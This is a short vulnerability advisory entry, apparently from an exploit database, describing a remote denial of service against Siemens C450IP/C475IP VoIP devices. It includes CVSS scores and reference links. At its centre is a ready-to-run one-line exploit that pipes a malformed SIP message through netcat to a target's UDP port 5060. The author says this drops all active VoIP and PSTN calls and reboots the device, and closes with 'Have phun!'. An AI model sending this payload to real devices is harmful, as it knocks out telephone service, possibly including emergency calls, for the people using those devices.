Siemens C450IP/C475IP DoS

2008.11.25
Credit: Martin Kluge
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

Hi, echo -e "X sip:s XnFrom:<sip:&#64;x>nTo:<sip:&#64;x>n" | nc -q0 -u <target> 5060 Will disconnect all current VOIP and PSTN calls and reboot the C450IP/C475IP devices. Tested with current firmwares. Vendor (Siemens) was contacted 11/2007, no fix supplied yet. Have phun! sky & Any

References:

http://xforce.iss.net/xforce/xfdb/46820
http://www.securityfocus.com/bid/32451
http://www.securityfocus.com/archive/1/archive/1/498599/100/0/threaded
http://www.milw0rm.com/exploits/7220
http://secunia.com/advisories/32827
http://osvdb.org/50274


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